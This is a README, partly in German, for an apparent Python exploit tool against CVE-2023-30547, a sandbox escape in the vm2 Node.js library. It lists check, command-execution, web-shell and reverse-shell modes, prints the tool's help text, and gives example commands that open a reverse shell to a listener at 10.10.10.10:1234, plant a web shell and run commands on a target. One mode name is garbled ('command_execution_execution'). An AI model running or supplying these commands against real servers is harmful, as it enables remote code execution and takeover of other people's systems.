
Tool zur Erkundung von CVE-2023-30547

vm2 ist eine Sandbox, die nicht vertrauenswürdigen Code mit whitelisted Node.js eingebauten Modulen ausführen kann.
Es existiert eine Schwachstelle in der Ausnahmebereinigung von vm2 für Versionen bis 3.9.16, die es Angreifern erlaubt, eine unsanitized Host-Ausnahme innerhalb von handleException() auszulösen, die verwendet werden kann, um die Sandbox zu verlassen und beliebigen Code im Host-Kontext auszuführen.
Dieses Tool ist ein einfaches Python-Skript, das verwendet werden kann, um die Schwachstelle zu untersuchen. Es hat 4 Modi:
check: prüft, ob das Ziel verwundbar ist.command_execution_execution: führt einen Befehl auf dem Ziel aus.web_shell: öffnet eine Web-Shell auf dem Ziel.reverse_shell: öffnet eine Reverse-Shell auf dem Ziel.usage: CVE-2023-30547.py [-h] -m {check,command_execution,web_shell,reverse_shell} -t TARGET [-c COMMAND] [-p PORT] [-i IP]
Tool for exploring CVE-2023-30547.
options:
-h, --help show this help message and exit
-m {check,command_execution,web_shell,reverse_shell}, --mode {check,command_execution,web_shell,reverse_shell}
Mode to run the tool in.
-t TARGET, --target TARGET
Target to run the tool against.
-c COMMAND, --command COMMAND
Command to execute in exploit mode.
-p PORT, --port PORT Local port to use for reverse shell.
-i IP, --ip IP Local ip to use for reverse shell.
python3 CVE-2023-30547.py -m check -t http://url.com/run
python3 CVE-2023-30547.py -m reverse_shell -t domain.com/run -p 1234 -i 10.10.10.10
python3 CVE-2023-30547.py -m web_shell -t domain.com/run
python3 CVE-2023-30547.py -m command_execution -t domain.com -c 'whoami'